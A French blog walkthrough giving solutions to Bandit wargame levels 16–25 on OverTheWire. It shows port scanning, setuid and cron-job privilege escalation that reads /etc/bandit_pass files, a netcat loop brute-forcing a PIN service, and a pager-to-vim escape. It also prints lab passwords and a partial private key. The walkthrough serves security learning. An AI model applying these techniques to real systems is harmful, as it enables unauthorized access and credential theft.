Skip to content

OverTheWire – Bandit Solution 2/2

Over The Wire est un site de challenge type « wargame » proposant différentes thématiques, je vous propose dans cet article les solutions de la catégorie la plus simple et accessible : Bandit

Nous allons voir dans cet article les solutions des niveaux 16 à 25 du wargame « Bandit » (http://overthewire.org/wargames/bandit/)

Voici le lien de l’article détaillant les solutions des niveaux 1 à 15 : https://ogma-sec.fr/overthewire-bandit-solution-1-2

N’abandonner pas trop vite ! La solution est souvent plus proche qu’on ne le croit, ne jeter un œil aux solutions qui si vous êtes réellement bloqué et que vous vous cognez la tête sur un niveau depuis plusieurs jours.

Bandit – Niveau 16

Pour ce niveau, on retrouve le même principe que précédemment, c’est à dire le fait d’envoyer le mot de passe de l’utilisateur bandit16 sur un port spécifique. Cependant l’énoncé nous indique qu’il s’agit d’un port entre les ports 31000 et 32000, ce qui donne un grand nombre de possibilité. L’idée est donc d’automatiser le parcours des ports. Nous allons pour cela utiliser l’outil nmap (https://linux.die.net/man/1/nmap), qui permet d’effectuer des scans de ports.

bandit16@bandit:~$ nmap -sT localhost -p 31000-32000
 Nmap scan report for localhost (127.0.0.1)
 PORT STATE SERVICE
 31046/tcp open unknown
 31518/tcp open unknown
 31691/tcp open unknown
 31790/tcp open unknown
 31960/tcp open unknown

Le retour de la commande nous affiche plusieurs ports ouverts. J’ai ici utilisé l’option -sT pour exécuter un scan de type TCP Connect (https://ogma-sec.fr/les-scans-port-via-tcp-syn-connect-fin/) et l’option -p pour indiquer une fourchette de ports à scanner.

Maintenant que la liste des ports intéressants a été grandement réduite, nous pouvons effectuer des tests manuels. Le port 31790 semble nous donner une réponse :

bandit16@bandit:~$ ncat localhost 31790
 cluFn7[...]SxQluehd
 ERROR
 140737354053280:error:1408F10B:SSL routines:SSL3_GET_RECORD:wrong version number:s3_pkt.c:351:
 Ncat: Connection reset by peer.

Au vue des exercices précédents, on peut comprendre qu’il faille ici discuter via un canal de communication chiffré avec ce service (SSL) :

 bandit16@bandit:~$ ncat --ssl localhost 31790
 cluFn7w[...]ffSxQluehd
 Correct!
 -----BEGIN RSA PRIVATE KEY-----
 MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
 imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
                             [...]
 L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
 blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
 YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
 77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
 dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
 vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
 -----END RSA PRIVATE KEY-----

On obtient en retour une clé privée, qui pour rappel peut être utilisée à la place d’un mot de passe pour authentifier un utilisateur.

Bandit – Niveau 17

Il faut certainement utiliser la clé SSH précédemment trouvée pour se connecter avec l’utilisateur bandit17. Nous allons donc récupérer la clé SSH en question et la stocker dans un fichier. Ce fichier sera ensuite pointé via l’option -i de la commande SSH :

/tmp# ssh -i key.txt bandit17@bandit.labs.overthewire.org -p 2220
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'key.txt' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "key.txt": bad permissions

Votre système va certainement vous afficher cette erreur. Elle indique que les permissions assignées à votre fichier ne sont pas celles attendues par le client SSH. Par mesure de sécurité, l’utilisation de cette clé pour l’authentification est donc refusée. Il suffit de corriger ces permissions pour pouvoir l’utiliser :

chmod 600 /tmp/key.txt/tmp# ssh -i key.txt bandit17@bandit.labs.overthewire.org -p 2220

Bien, voyons ce que ce niveau nous réserve :

bandit17@bandit:~$ ls -al
 total 44
 drwxr-xr-x 4 bandit17 bandit17 4096 Oct 25 14:12 .
 drwxr-xr-x 30 root root 4096 Oct 25 14:12 ..
 -rw-r----- 1 bandit17 bandit17 33 Sep 28 14:04 .bandit16.password
 -rw-r--r-- 1 bandit17 bandit17 220 Apr 9 2014 .bash_logout
 -rw-r--r-- 1 bandit17 bandit17 3637 Apr 9 2014 .bashrc
 drwx------ 2 bandit17 bandit17 4096 Oct 25 14:12 .cache
 -rw-r--r-- 1 bandit17 bandit17 675 Apr 9 2014 .profile
 drwxr-xr-x 2 root root 4096 Sep 28 14:04 .ssh
 -rw-r----- 1 bandit17 bandit17 1704 Sep 28 14:04 .ssl-cert-snakeoil.key
 -rw-r----- 1 bandit18 bandit17 3300 Sep 28 14:04 passwords.new
 -rw-r----- 1 bandit18 bandit17 3300 Sep 28 14:04 passwords.old

On distingue ici deux fichiers passwords avec la même taille et la même date de dernière modification. L’énoncé nous indique que le mot de passe se trouve dans passwords.news et que c’est la seule donnée qui a été modifiée entre les deux fichiers. Il faut donc que l’on parvienne à faire ressortir les différences dans le contenu des deux fichiers. C’est exactement la rôle de la commande diff (https://www.computerhope.com/unix/udiff.htm) :

 bandit17@bandit:~$ diff
 diff: missing operand after 'diff'
 diff: Try 'diff --help' for more information.
 bandit17@bandit:~$ diff passwords.new passwords.old
 42c42
 < kfBf3eYk5B[...]E887SVc5Yd
 ---
 > R3GQabj3[...]RJWc5sqSXO

Le mot de passe est ici la première valeur affichée (« kfBf… »).

Bandit – Niveau 18

Le niveau suivant peut paraitre étrange, la connexion SSH se ferme dés qu’elle est initiée, ce qui ne nous laisse pas le temps de saisir une commande. Il faut donc parvenir à saisir une commande très rapidement et de façon automatique après l’initialisation de la connexion. Cela peut être fait facilement par l’utilisation de la syntaxe suivante :

root@PORT-79:/tmp# ssh bandit18@bandit.labs.overthewire.org -p 2220 'ls -al'
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
bandit18@bandit.labs.overthewire.org's password:
total 24
drwxr-xr-x 2 root root 4096 Dec 28 14:34 .
drwxr-xr-x 29 root root 4096 Dec 28 14:34 ..
-rw-r--r-- 1 root root 220 Sep 1 2015 .bash_logout
-rw-r----- 1 bandit19 bandit18 3794 Dec 28 14:34 .bashrc
-rw-r--r-- 1 root root 655 Jun 24 2016 .profile
-rw-r----- 1 bandit19 bandit18 33 Dec 28 14:34 readme

Ici, la commande ls -al est exécutée directement après l’établissement de la connexion et l’ouverture de la session via SSH. Le mot de passe doit se trouver dans le fichier readme :

root@PORT-79:/opt/otw# ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat readme'
 _ _ _ _
 | |__ __ _ _ __ __| (_) |_
 | '_ \ / _` | '_ \ / _` | | __|
 | |_) | (_| | | | | (_| | | |_
 |_.__/ \__,_|_| |_|\__,_|_|\__|
a http://www.overthewire.org wargame.
bandit18@bandit.labs.overthewire.org's password:
 IueksS7U[...]Owq3M5x

Bandit – Niveau 19

Ce niveau vise à nous familiariser avec le principe de bit setuid (https://fr.wikipedia.org/wiki/Setuid). On remarque ici que le bit setuid est présent sur l’exécutable proposé. La commande file nous l’indique clairement  :

bandit19@bandit:~$ file bandit20-do
bandit20-do: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c05d80e62cd205a3497b870e8294402424a4f7c, not stripped

Également, la commande ls, qui permet avec son option -l de lister les permissions assignées, montre la présence du « rws » ou le « s » représente justement le bit setuid. Pour faire cours, le bit setuid permet d’exécuter un binaire avec les droits de son propriétaire, et non avec les droits de celui qui exécute le binaire. Si bandit19 peut exécuter le binaire (c’est ici le cas car le groupe propriétaire du binaire est bandit19) et que la permission assignée au groupe est « r-x », alors le script s’exécutera avec les droits de l’utilisateur bandit20 car c’est bandit20 le propriétaire du fichier.

bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/*
 cat: /etc/bandit_pass/bandit19: Permission denied
 cat: /etc/bandit_pass/bandit2: Permission denied
 GbKks[...]Y5aVje5f0j
 cat: /etc/bandit_pass/bandit21: Permission denied

Si vous n’êtes pas encore familier avec les permissions UNIX, je vous oriente vers cet article : Les droits sous Linux

Bandit – Niveau 20

Ce niveau va nous permettre de découvrir la commande permettant de mettre un port en écoute sur notre machine grâce à l’outil netcat. L’énoncé est le suivant :

There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

Nous devons donc dans un premier temps mettre un port en écoute sur notre système, ici le port 1234 :

bandit20@bandit:~$ netcat -lp 1234
 ^Z
 [1]+ Stopped netcat -lp 1234

L’utilisation de la combinaison de touche Ctrl +Z permet de mettre en arrière plan le netcat. Cela signifie que le processus est toujours en cours d’exécution, mais que nous pouvons tout de même saisir de nouvelles commandes. C’est notamment pratique pour les outils interactifs (qui ne rendent pas la main après leur lancement), car cela permet de saisir de nouvelles commandes sans couper leur exécution.

On va ensuite lancer le binaire setuid et le passer en arrière plan en suivant le même principe :

bandit20@bandit:~$ ./suconnect 1234
 ^Z
 [2]+ Stopped ./suconnect 1234

On va ensuite reprendre la main sur notre netcat en écoute. Cela grâce à la commande fg et avec le paramètre 1 (le [1] est apparu lorsque l’on a mis notre netcat en arrière plan. Enfin, nous allons envoyer sur ce canal de communication (entre netcat et le binaire setuid), le mot de passe de bandit20, comme indiqué dans l’énoncé :

 bandit20@bandit:~$ fg 1
 nc -lp 1234
 GbKksEFF4y[...]aVje5f0j
^Z
 [1]+ Stopped netcat -lp 1234

On revient en arrière et on reprend la main sur le flux d’exécution du binaire setuid via la commande fg à nouveau :

bandit20@bandit:~$ fg 2
 ./suconnect 1234
 Read: GbKks[...]Vje5f0j
 Password matches, sending next password
 bandit20@bandit:~$ fg 1
 nc -lp 1234
 gE269g2h3mw3[...]qen1c9DGr

Bandit – Niveau 21

Les niveaux 21 à 23 vont nous permettre de nous pencher sur des cas classiques d’élévation de privilège via les tâches planifiées. Cron est un outil qui permet l’exécution de tâches planifiées sous Linux. L’énoncé nous indique qu’un programme est exécuté régulièrement sur le système via des tâches cron. Jetons un œil à la configuration :

bandit21@bandit:~$ ls /etc/cron.d -al
 total 32
 drwxr-xr-x 2 root root 4096 Sep 28 14:04 .
 drwxr-xr-x 119 root root 4096 Oct 25 14:23 ..
 -rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
 -rw-r--r-- 1 root root 355 May 25 2013 cron-apt
 -rw-r--r-- 1 root root 120 Sep 28 14:04 cronjob_bandit22
 -rw-r--r-- 1 root root 122 Sep 28 14:04 cronjob_bandit23
 -rw-r--r-- 1 root root 120 Sep 28 14:04 cronjob_bandit24
 -rw-r--r-- 1 root root 510 Aug 4 20:03 php5

Nous pouvons essayer de lister le contenu des fichiers de configuration de cron :

bandit21@bandit:~$ cat /etc/cron.d/*
 0 4 * * * root test -x /usr/sbin/cron-apt && /usr/sbin/cron-apt
 @reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
 * * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
 @reboot bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
 * * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
 @reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
 * * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
 09,39 * * * * root [ -x /usr/lib/php5/maxlifetime ] && [ -x /usr/lib/php5/sessionclean ] && [ -d /var/lib/php5 ] && /usr/lib/php5/sessionclean /var/lib/php5 $(/usr/lib/php5/maxlifetime)

On constate que le script /usr/bin/cronjob_bandit22.sh est exécuté toutes les minutes (voir cet article sur la configuration de tâches planifiées sous Linux) :

bandit21@bandit:~$ ls -al /usr/bin/cronjob_bandit22.sh
 -rwxr-x--- 1 bandit22 bandit21 130 Sep 28 14:04 /usr/bin/cronjob_bandit22.sh

On peut donc essayer de regarder les actions effectuées par ce script, puisque nous avons les droits de lecture en tant que l’utilisateur bandit21 :

bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
 #!/bin/bash
 chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
 cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

On voit qu’il copie le fichier contenant le mot de passe de bandit22 dans un fichier du répertoire /tmp. Maintenant que nous avons cette information, il nous suffit d’afficher le contenu de ce fichier, qui est d’ailleurs lisible par tous :

bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
 Yk7owGAc[...]EwB7WVOiILLI

Bandit – Niveau 22

Nous avons pu voir en listant les tâches planifiées précédemment que le script /usr/bin/cronjob_bandit23.sh était également exécuté toutes les minutes sur le système. Nous pouvons donc lister son contenu afin de voir les actions qu’il exécute :

bandit22@bandit:~$ ls -al /usr/bin/cronjob_bandit23.sh
 -rwxr-x--- 1 bandit23 bandit22 211 Sep 28 14:04 /usr/bin/cronjob_bandit23.sh
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
 #!/bin/bash
 myname=$(whoami)
 mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)
 echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"
 cat /etc/bandit_pass/$myname > /tmp/$mytarget

Comme on peut le constater, ce script copie le contenu du fichier de mot de passe /etc/bandit_pass/bandit23 dans le fichier /tmp/$mytarget. La variable $mytarget est ici un hash md5 de la phrase « I am user $(whoami) ». En sachant que ce script sera exécuté par l’utilisateur bandit23, la commande whoami, qui permet d’afficher le nom de l’utilisateur courant, aura comme sortie bandit23. Nous pouvons avec ces informations retrouver le nom du fichier contenant le mot de passe et copié dans /tmp/ :

bandit22@bandit:~$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
 8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
 jc1udXu[...]5XIAI6i0n

Bandit – Niveau 23

Dernier cas classique d’élévation de privilège via les tâches planifiées sous Linux. Il s’agit ici dans un premier temps de constater que la tâche planifiée suivante va exécuter tous les fichiers présents dans le dossier /var/spool/$myname, soit /var/spool/bandit64 puisque c’est l’utilisateur bandit24 qui exécute la tâche planifiée :

bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash
myname=$(whoami)
cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
 if [ "$i" != "." -a "$i" != ".." ];
 then
 echo "Handling $i"
 timeout -s 9 60 ./$i
 rm -f ./$i
 fi
done

On peut également constater, en affichant les permissions assignées à ce dossier, que les membres du groupe bandit23 ont les droits d’écritures (mais pas de lecture) sur ce dossier :

bandit23@bandit:~$ ls -al /var/spool/
total 20
drwxr-xr-x 5 root root 4096 Dec 28 14:34 .
drwxr-xr-x 12 root root 4096 Dec 28 14:34 ..
drwx-wx--- 17 bandit24 bandit23 4096 Mar 13 23:19 bandit24

Cela signifie que si bandit23 crée un script dans ce dossier, il sera exécuté par bandit24. On peut donc faire exécuter des commandes à un autre utilisateur (on parle d’élévation de privilège, d’escalation privilege ou de mouvement vertical si l’autre utilisateur possède des droits plus élevés que ceux de l’attaquant).

Je commence par créer un script dans un dossier temporaire, ce script demande l’écriture de la date et heure actuelle dans le fichier /tmp/12345/out.txt, ainsi que la copie du contenu du fichier /etc/bandit_pass/bandit24  dans le fichier out.txt. L’idée est de faire exécuter ce script à bandit24, qui lui possède les droits de lecture sur le fichier /etc/bandit_pass/bandit24 :

bandit23@bandit:/tmp/12345$ cat script.sh
 #!/bin/bash
 echo `date` > /tmp/12345/out.txt
 cat /etc/bandit_pass/bandit24 >> /tmp/12345/out.txt

On va ensuite créer un script dans le dossier /var/spool/bandit24 qui va exécuter ce script /tmp/12345/script.sh, sans oublier de donner les droits d’exécution et d’écriture adéquats.

Cette première commande est une astuce pour écrire « #!/bin/bash » dans le script. L’utilisation de la commande head -n 1 permet de n’afficher que la première ligne du fichier /usr/bin/cronjob_bandit24.sh et de la copier dans /var/spool/bandit24/aaaaaa.sh :

bandit23@bandit:/tmp/12345$ cat /usr/bin/cronjob_bandit24.sh|head -n 1 > /var/spool/bandit24/aaaaaa.sh

On ajoute ensuite dans ce script une commande qui va exécuter notre « malveillant » /tmp/12345/script.sh et on donne les droits d’exécution , de lecture et d’écriture à tous (pour faire simple) :

bandit23@bandit:/tmp/12345$ echo "/tmp/12345/script.sh" >> /var/spool/bandit24/aaaaaa.sh;
bandit23@bandit:/tmp/12345$ chmod 777 /var/spool/bandit24/aaaaaa.sh

On attend ensuite une minute, et on retrouve dans notre fichier out.txt le mot de passe de l’utilisateur bandit24.

bandit23@bandit:/tmp/12345$ date
 Thu Oct 26 11:38:31 UTC 2017
bandit23@bandit:/tmp/12345$ cat out.txt
 Thu Oct 26 11:39:01 UTC 2017
 UoMYTrf[...]AwOmw1IohZ

Bandit – Niveau 24

Le challenge suivant demande de la patience, il s’agit en effet de trouver un code PIN de quatre caractères qui doit être soumis à un service qui écoute sur le port 3002. Le service attend le mot de passe de bandit24 ainsi qu’un code PIN, si le code PIN soumis est valide, ainsi que le mot de passe, celui-ci retournera le mot de passe de l’utilisateur bandit25.

Je commence donc par générer un fichier contenant les nombres de 0000 à 9999 avec un nombre par ligne. Ces nombres représentent donc toutes les possibilités de code PIN à 4 chiffres :

bandit24@bandit:~$  for i in $(echo {0000..9999});do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >>  /tmp/out12.txt;done
bandit24@bandit:~$ head -n 12 /tmp/out12.txt
 UoMYTrf[...]AwOmw1IohZ 0000
 UoMYTrf[...]AwOmw1IohZ 0001
 UoMYTrf[...]AwOmw1IohZ 0002
 UoMYTrf[...]AwOmw1IohZ 0003
 UoMYTrf[...]AwOmw1IohZ 0004
 UoMYTrf[...]AwOmw1IohZ 0005
 UoMYTrf[...]AwOmw1IohZ 0006
 UoMYTrf[...]AwOmw1IohZ 0007
 UoMYTrf[...]AwOmw1IohZ 0008
 UoMYTrf[...]AwOmw1IohZ 0009
 UoMYTrf[...]AwOmw1IohZ 0010
 UoMYTrf[...]AwOmw1IohZ 0011

Nous allons utiliser ce fichier pour effectuer une boucle qui, pour chaque ligne du fichier, va aller soumettre le mot de passe de l’utilisateur bandit24 ainsi que le code PIN (ligne courante lue au travers la boucle), ce qui constitue donc une attaque par brute force. Je stocke le résultat dans le fichier/tmp/out.txt :

bandit24@bandit:~$ while read -r line; do echo "$line"|nc localhost 30002 >/tmp/out13.txt ; done < /tmp/out12.txt

Le parcours de tous toutes les possibilités peut être assez long , mais on fini par trouver le message suivant dans le fichier /tmp/out13.txt :

UoMYTrfrBF[...]IohZ 5588
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Correct! The password of user bandit25 is uNG9O58[...]tnjzSGzG

A noter que le code PIN peut changer à travers le temps, entre ma première résolution de ce challenge et l’écriture de cet article, le code PIN en question n’était plus le même.

Bandit – Niveau 25

Bon ce niveau là tiens plus de la petite astuce que de l’apprentissage du shell Linux et j’admets avoir été lire quelques tips sur Internet pour le résoudre. Dans un premier temps, on remarque que nous disposons d’une clé SSH publique dans notre répertoire.
Déjà croisé auparavant, nous savons qu’elle peut être utilisée pour se connecter en SSH en tant que bandit16. Celle-ci n’étant pas protégée par une passe-phrase, on obtient un accès en tant que bandit26 sans trop de difficulté. Cependant, nous sommes déconnecté immédiatement. L’énoncé nous indique que bandit26 n’as pas un shell comme les autres, ce que l’on peut constater dans le fichier /etc/passwd.

bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

Effectivement, dés l’ouverture d’une session, l’utilisateur bandit26 va exécuter le script /usr/bin/showtext, voici son contenu :

bandit25@bandit:~$ cat /usr/bin/showtext
#!/bin/sh
export TERM=linux
more ~/text.txt
exit 0

Également, on remarque que celui-ci n’est pas modifiable par l’utilisateur bandit25, ni le fichier affiché par ce script grâce à la commande more (https://linux.die.net/man/1/more) :

bandit25@bandit:~$ ls -al /usr/bin/showtext
-rwxr-xr-x 1 root root 53 Dec 28 14:34 /usr/bin/showtext
bandit25@bandit:~$ ls -al /home/bandit26/text.txt
-rw-r----- 1 bandit26 bandit26 258 Dec 28 14:34 /home/bandit26/text.txt

Si l’on se renseigne sur le rôle de la commande more, on apprend qu’elle permet d’afficher un texte par « page », ce qui pemet, lorsque l’on dispose d’un terminal plus petit que le texte à  afficher, d’avoir à saisir une touche pour passer à la suite. Le texte a afficher étant relativement petit, on ne remarque pas son utilisation Cependant si l’on rétrécit la taille de notre fenêtre, on verra l’action de la commande more qui marque donc un temps d’arrêt avant de déconnecter la session SSH :

A partir de là, il faut savoir qu’il existe une petit astuce dans la commande more qui permet de démarrer vim, et un e autre astuce dans la commande vim qui permet d’exécuter des commandes. Et ces deux « astuces » permettent d’exécuter des commandes en tant que bandit26 sur le système. Pour ouvrir vim à partir de la commande more, il faut saisir « v ».

On se retrouve maintenant avec l’éditeur vim, qui permet d’exécuter quelques commandes intéressantes, notamment grâce à l’instruction « e » qui permet d’éditer le contenu d’un autre fichier :

On ouvre donc le fichier /etc/bandit_pass/bandit26 en tant que bandit26, ce qui nous donne la possibilité de lire le mot de passe du dernier challenge :

5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
Partager :
Published inChallenges et CTFs

Be First to Comment

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *